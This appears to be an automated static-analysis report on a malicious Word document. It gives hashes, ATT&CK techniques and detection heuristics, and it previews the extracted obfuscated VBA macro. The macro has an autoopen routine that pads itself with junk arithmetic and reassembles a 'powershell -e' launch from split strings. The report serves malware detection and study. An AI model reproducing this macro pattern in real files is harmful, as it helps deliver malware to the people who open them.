Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9f4bbad18baee286…

MALICIOUS

Office (OLE)

214.0 KB Created: 2019-03-12 13:24:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: ed4e58c032dc1925cb202c5bb62b4962 SHA-1: f2e4bcc5744069a633a99bcfb195d9da333bade2 SHA-256: 9f4bbad18baee2860f58ad30f7e478f7429e408d6c84d59bbe7fed1d52cd2fcc
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that utilize the GetObject and CreateObject functions to launch a WMI process. The heuristic 'OLE_VBA_WMI_PROCESS_CREATE' specifically flags this behavior, indicating an attempt to execute arbitrary code. The obfuscated nature of the script and the use of 'winmgmts' suggest a downloader attempting to fetch and run a secondary payload.

Heuristics 9

  • ClamAV: Doc.Downloader.00536d-6890851-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6890851-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 44560 bytes
SHA-256: baa2cbe3f13aa218c99dadeb0aba8d7a9ead2f07f22298e322c8f3ba62211f5e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NQGUAA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function OQDAQwo()
   If LDAAoDA = AcAUDD Then
OA_QUxU = 120828977 * Oct(741350924) / w11BAX - Sgn(463451851 + QUxAUAGo) * 342664788 + CStr(836651218 + Log(p4UCoo))
UAkAXC = (HUwAAoAo / Tan(qAAZQA) - HUBoxA4G * CDbl(478085629) - LDAAcA - CDbl(oCADBAU - noAwA1 / G1GA1A - 410261781))
End If
   If fB1UC_ = TBAABB Then
FDkU_Bx4 = 324320314 * CLng(835029247) / RBAAXA - Fix(592286071 + jACXccZA) * 607715244 + CDate(163127588 + Round(VooA4GQ))
DkA1CQX = (fAUc_AAw / Fix(aXUGAAAc) - iBAB1QAZ * Hex(866543019) - QAABAxU - CSng(mDXAAZD - VxBAc1 / rUAGGDU - 378711562))
End If
   If lAD1Aw = FQAo4CB Then
mDAABAA = 435293424 * Int(898830084) / DAAAQGQ - CBool(683630032 + EBxXZAAB) * 569842839 + Fix(965685520 + CStr(lCXAoAx))
AkX11_ck = (tcAGQA / CBool(iABAkA) - SAAQAG * Atn(580615248) - lBAwUA - CLng(qAAD1GA - SZcGxB / EDcXQX - 390641915))
End If
   If HAQAwB = lcZAUAA Then
skQUDUA = 983133404 * Log(583150437) / iUDGxAA - CLng(89139375 + vDAABooA) * 652638721 + Sgn(317311002 + Oct(PkABoA))
RAZxxx = (VDZcGACQ / Round(ZBBAAQA) - LwA_xQQ * Fix(451529966) - GAAwAA1A - CDate(dXG_A1U - kAXAAU4 / YAo1GAAQ - 672501587))
End If
   If YQAoABB = cAQBDAw Then
RUUU_Uo = 606674100 * Oct(609359910) / DUCocA - CInt(291513774 + pwA4wA) * 211492048 + Fix(4965498 + Int(sA1B_AA))
ixAcQA = (tA4C_w / Atn(GAAXGXoU) - fQB_AADc * Fix(314091895) - Mo_AGA - Int(kUXBBAB - i_AwxBBU / UABZAQB - 891703988))
End If
   If iCBxUAk = j1AAAAUZ Then
nBAGw_wA = 198415319 * CByte(518574055) / MBADGDAU - Oct(627701444 + hBAAAB) * 822372836 + Sin(99490324 + Cos(TUBQAA))
vCUcAA = (bBAAAkA1 / CDbl(pQ1XDA) - sowBUAo * CDate(209934829) - dGGUAw - Tan(oDXACQ - cxoABA / KcACXBX - 845009868))
End If
   If VQkwU1 = VQxAAo Then
DAQUDGX = 286583640 * Rnd(603939347) / iDoBBD - Hex(137862105 + iAA_ZDw_) * 989598203 + Sgn(786233194 + Atn(TQ1cCDAQ))
fU1ZcQCX = (Z1AAXAo / CLng(l1ABAXQ) - t1DAAB1 * CDate(748739053) - SGZADAUD - CStr(qoX1AA - qk1_CDAA / sABAooUA - 218162750))
End If
   If BAkAAo = zAoUU1X Then
aAwZkAoc = 155859326 * CStr(289527518) / MDUBAcAx - Log(97654159 + QAUwQBG1) * 168827812 + CDate(732912458 + Sin(SABADAAA))
XUA_AA = (lAw1AA / Cos(EAZcQAAU) - nDcQAZ1D * Sin(802402510) - PG4cAxA - Log(uAXAAk - Z1BDAU1 / zAAxB_ - 58411365))
End If
End Function
Sub autoopen()
On Error Resume Next
   If jDZUD4Z = iXB1oAA Then
OAUQDUX = 358108932 * CDate(713673310) / cBUUAAB - Sin(216242358 + fUDBQU) * 98791837 + Sin(800123368 + CBool(p1AcAUAc))
moACAAQ = (XD4kAGBA / Oct(zDB1BQwU) - fQBAo1A * Oct(457860653) - lCCAc4XX - Hex(dDcAAA - jXGAD4D / JwAAkCx - 117439802))
End If
   If UXG_Bc = MAGBAUA Then
l1wBAABU = 923560192 * CStr(668428379) / YAxXAZA - Tan(529395865 + l1xAUQA) * 896479015 + CDate(213172677 + CByte(aBCGZAA))
v1QBQAAA = (uBXDBAQc / Hex(vx_BkC) - b1AcAB * Round(456394435) - K1AkADA - CByte(RZDAcDx - tBAUAABD / ukAAXUAU - 911617701))
End If
   If CABBA4 = pABZxDAB Then
ZBQAUQU = 26733217 * Sgn(14792448) / tQAAXAG - CBool(994978312 + WGAGkDk) * 449087452 + CStr(333805782 + CByte(jADUAU))
HU4AUA = (MA__Bwk / CStr(KG1ABBGQ) - jAB_AA * Round(933441353) - rUCAwGoA - Sgn(JUAxZQx - ikAZCGA / SQAADUw - 493015494))
End If
JAckAA (QCBA1kcw + "po" + jAkAQww + "wersh" + S_AkcCD + "ell -e " + wAAA_1U + RUQAZQ1A + M4kUkB + KUZABD + tAA4AAA + DBA_AQQ + KQAZUGX1 + rAcQxZA)
   If zAAA_AU = ABDQwDx Then
uAUA_4A = 129004931 * Cos(758543079) / WkADUC - Round(836807150 + YkUQADB) * 544579720 + CStr(40305233 + Int(HQAADAA))
jAAGQwo = (HAQAAAQx / Fix(EAZD_QCG) - z_XZCA * Atn(135590562) - mXZAAAxC - Fix(OBDUAAB - iABBAx / Cx_UxQA_ - 649926656))
End If
   If N4CZGc = oAZx4_ Then
FcAD4AcA = 192233737 * CLng(144318711) / HAAUwAG - Sqr(858623225 + u4BBU_UQ) * 191094361 + Rnd(608379817 + Cos(RQwUAA))
PZBAxAD = (IAAADDUQ / Sin(ZAACQZ) - Y_QAAw_A * Hex(390590322) - cAD4cxA - Rnd(wGQAB
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.